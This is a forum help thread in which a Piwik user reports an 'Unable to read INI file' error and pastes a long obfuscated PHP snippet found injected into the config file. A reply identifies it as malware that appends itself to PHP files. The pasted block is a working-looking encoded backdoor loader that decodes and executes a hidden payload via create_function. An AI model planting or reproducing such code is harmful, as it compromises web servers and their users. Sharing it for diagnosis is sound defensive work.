'Unable to read INI file' and strange code in global.ini.php

Hi there!

This morning I wanted to check my piwik stats and got this error:

Unable to read INI file {/var/www/pwtrck.net/htdocs/config/config.ini.php}: Syntax error in INI configuration: Your host may have disabled parse_ini_file().

A look in the file has made me aware of the following line of strange code:

<?php $ewlxwxyp = 't::**<(<!fwbm)%tjw)#	x24#-!!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%w#	x5cq%7**^#zsfvr#	x5cq%)ufttj	x22)gj6<^#Y#%-bubE{h%)sutcvt)fubmgpdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`if((function_exists("	x6f	142	x5f	163	x74	141	x72	164") &&3of)fepdof`57ftbc	x7f!|!*uyfu	x27k:!ftmf!}48y]#>m%:|:*r%:-t%)3of:opjudovg<~	x24<!%o:!>!	x242178}527}88:}3k~~~<ftmbg!osvufs!|ftmf!~<**9.-j]5]48]32M3]317]445]212]445]43]321]464]284]364]6]2346P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]Doj{hA!osvufs!~<3,j%>j%!*3!	x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%hfoopdXA	x22)7gj6<*QDU!ftmbg)!gj<*#k#)usbut`cpV	x7f	x7f	x7f>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4	x223}!+!<+{**b%)sfxpmpusut!-#j0#!/!*5cq%7/7#@#7/7^#iubq#	x5cq%	x27jsv%6<C>^#zsfvrw2)%w`TW~	x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hoje	x24<%j,,*!|	x24-	x24gvodujpo!	x24-	x24y#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y*X&Z&S{ftmfV	x7f<*XAZASV<*w%)ppde>3]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D7&6<	x7fw6*	x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofu4`hA	x27pd%6<pd%w6Z6<.3`hA	x27pd%6<pd%w6Z6<%!<***f	x27,*e	x27,*d	x27,*c	x27,*b	x27)fepdof.)fepdof./#@#/qp%>5h%!<v%7-MSV,6<*)ujojR	x27id%6<	x7fw6*	x7f_*#ujojRk3`mplode(array_map("qvcmkzn",str_split("%tjw!>!osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y],;uqpuft`msvd}+;!>!}	x27;!>>!~!<b%	x7f!<X>b%Z<#opo#>b%!*##>>!gj!<*2bd%-#1GO	x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bdnjA	x27&6<.fmjgA	x27doj%6<	x7fw6*	x7f_*#fmjgk4`{6~6<tfs%w6<	x7fvg	x22)!gj}1~!<2p%	x7f!~!<##!>!2p):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472	156	x63	164	x69	157	x6e"; function qvcmkzn($n){return chr(orcOc/#00#W~!Ydrr)%rxB%epn*#sfmcnbs+yfeobz+sfwjiyuzyadf();}}{666~6<&w6<	x7fw6*CW&)7gj6<.[A	x2 (!isset($GLOBALS["	x61	1m!|!*5!	x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>!	x2400~:<h%_t%:NJU,6<*27-SFGTOBSUOSVUFS,6<*ms]342]58]24]31#-%tdz*Wsfuvso!%bss	x5csb	x72	157	x6d	145")) or (strstr($uas,"	x66	151	x72	145	x66	157	x78"6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFs:	x5c%j:.2^,%b:<!%c:>%s:	x5c%j:^<!%w`	x5c^>Ew:Qb:d($n)-1);} @error_reporting(0); $peddbqt = i53	105	x52	137	x41	107	x45	116	x54"]); if ((strstr($uas,"	x6d	163		x7f<u%V	x27{ftmfV	x7f<bss!>!bssbz)#44ec:649#-!#:618d5f9#-%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>	x22))) { $nfdylcu = "	x63	162	x65	141	x74	145	x5f	146	x75c}A;~!}	x7f;!|!}{;)gj}5:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utj!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudo>	x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA	x273qj%6<*Y%)fx24/%tmw/	x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#x24*<!~!	x24/%t2w/	x24)##-!#~<#/%	x24-	x24!>!fyqmpef)#	x24*/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]5x69	145")) or (strstr($uas,"	x72	166	x3a	61	x31")) or (str!	x246767~6<Cw6<pd%w6Z6<.5`hA	x27pd%6<pd%w6Z6<.*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!*-	x24*!|!	x24-	x24	x#]y38#-!%w:**<")));$yuzyadf = $nfdylcu("", $peddbqt); $,#/q%>U<#16,47R57,27R66,#	x5cq%	x27Y%6<.msv`ftsbqA7>q%6<	x7fw6*	Re%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbs#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]5c%j^	x24-	x24tvctus)%	x24-	x24b!>!%yy)#}#-#	x24-	x24-34}472	x24<!%ff2!>!bssbz)	x24]25	x24-	x24-!%	x24oe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%J`GB)fubfsdXA	x27K6<	x7fw6*3qj%7-#}+;%-qp%)54l}	x27;%!<*#}_;#)323ldfid>}&;!osvufs}	x7f;*9!	x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3tusqpt)%z-#:#*	x24-	x24!>!	x24/%tjw27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!H#	x27rfs%6~6<	x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)ud427]36]373P6]36]73]83]238M7]381]211M5]67]452]88;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd}ut>j%!*72!	x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!#-!#~<%h00#*<%nfd)##Qtpz)opd`ufh`fmjg}[;ldpt%}K;`ufldpt}XZ;^nbsbq%	x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#7&6|7**111127-K)ebfsX	x27u%)7fmjix6<C	x27&6<*rfs%7-K)fujsxX6idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssut-#jt0*?]+^?]_	x5c}X	x24<!%tmw!>!#]y84]275]>!}_;gvc%}&;ftmbg}	x7f;!osvufs}w;*	x7f!>>	x22!pd%)WYsboepn)%bss-%rxB%h>#]y31]278]y!opjudovg}k~~9{d%:osvufs:~928>>	x22:ftmbg39*56A:>:8u%!-#2#/#%#/#o]#/*)323zbe!<!%t::!>!	x24Ypp3)%cB%iN}#-!	x24/%tmw/	x24)%c*W%eN+#Qi	x5c1^>1<%b:>1<!gps)%j:>1<&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>!	7	x24-	x24*<!	x24-	x24gps)%j>1<%j=tj{fpg)%	x24-	nbozcYufhA	x272qj%6<^#zsfvr#	xQwTW%hIr	x5c1^-%r	x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**%Z<^2	x5c2b%!>!2p%!*3>?*2b%)gpf{jt)w6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR	x27tfs%6<*17-SFEBFI,6<*127-UVPFstr($uas,"	x61	156	x64	162	x6f	151	x64")) or (strstr($uas,"	x63	150%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.dsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)x7f_*#fubfsdXk5`{66~6<&w6<	x7fw6*CW&)7gj6<*doj%7-C)fepmq!>!%tdz)%bbT-%bT-%hW~%fdy)#X)!gjZ<#opo#>b%!**X)ufttj	x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)x	x22l:!}V;3q%}U;y]}R;2]},;osvufs}	x27;mnui}&;zep	x27*&7-n%)utjm6<	x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:"]=1; $uas=strtolower($_SERVER["	x48	124	x54	120	x5f	125	xQc:W~!%z!>2<!gps)%j>1<%j=6[%ww2.2`hA	x27pd%6<C	x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf/	x24)%	x24-	x24y4	x24-	x24]y8	x24-	x24]26	x24-3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.98W%c!>!%i	x5c2^<!Ce*[!%cIjQeTQl;33bq}k;opjudovg}x;0]=])0#)U!	x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-`MPT7-NBFSUT`LDPT7-UFOu%V<#65,47R25,d7R17,67R3756	x75	156	x61"])))) { $GLOBALS["	x61	156	x75	156	x61StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSjurkyvrty'; $figloxwz=explode(chr((586-466)),substr($ewlxwxyp,(25020-19000),(160-126))); $vsgjjhsgs = $figloxwz[0]($figloxwz[(7-6)]); $hhhndsypw = $figloxwz[0]($figloxwz[(10-8)]); if (!function_exists('wfybfe')) { function wfybfe($cioubyn, $nzvxrgt,$czxjgij) { $qzogxj = NULL; for($gxskcty=0;$gxskcty<(sizeof($cioubyn)/2);$gxskcty++) { $qzogxj .= substr($nzvxrgt, $cioubyn[($gxskcty*2)],$cioubyn[($gxskcty*2)+(3-2)]); } return $czxjgij(chr((27-18)),chr((581-489)),$qzogxj); }; } $chgmgd = explode(chr((148-104)),'177,58,1895,25,5967,53,5563,58,2366,66,3106,58,5027,67,2114,66,2605,54,1743,61,2322,44,1388,45,959,60,3164,47,1228,43,5652,62,5382,52,4288,60,2228,44,3982,50,651,21,5920,22,3727,32,2882,55,4823,30,784,45,70,43,3357,39,5181,56,1599,63,4957,70,2046,30,1340,48,1862,33,1171,57,4202,32,4079,44,1483,28,4436,50,2779,50,340,32,113,22,490,66,4123,54,3814,37,2739,40,1920,67,3933,49,2829,53,1662,33,4922,35,1543,56,5094,34,1271,69,3211,46,759,25,1828,22,5128,53,4348,46,3396,60,556,61,4675,33,1511,32,5264,69,235,42,4234,54,3759,55,4518,51,5495,68,709,50,2541,64,672,37,2432,23,1069,34,5942,25,3332,25,877,42,135,42,5333,49,2659,22,5857,63,4569,26,4394,42,1019,50,1987,59,1433,50,3886,47,1695,48,5434,61,277,63,3562,48,3257,20,3508,54,3851,35,5714,47,919,40,4775,48,2986,59,4595,60,5828,29,1804,24,2455,35,4708,67,2937,49,4853,69,4486,32,5761,67,2681,58,3045,61,1103,68,423,67,2180,48,617,34,5237,27,4177,25,3456,52,4032,47,372,51,2076,38,3610,53,4655,20,2490,51,2272,50,5621,31,27,43,829,48,3663,64,0,27,3277,55,1850,12'); $vcqgrzuqk = $vsgjjhsgs("",wfybfe($chgmgd,$ewlxwxyp,$hhhndsypw)); $vsgjjhsgs=$ewlxwxyp; $vcqgrzuqk(""); $vcqgrzuqk=(808-687); $ewlxwxyp=$vcqgrzuqk-1; ?>; <?php exit; ?> DO NOT REMOVE THIS LINE

I am really wondering about this error and this code, because I haven’t changed anything. Nether in piwik nor on my server settings. Yesterday, all worked fine. It seems to be malicious code, right? Anyone got the same problem or can help me solve this issue?

Thanks a lot!

Hi,
I am pretty sure it is some kind of malware, which appends it’s code to every PHP file it finds and by accident broke piwik that way.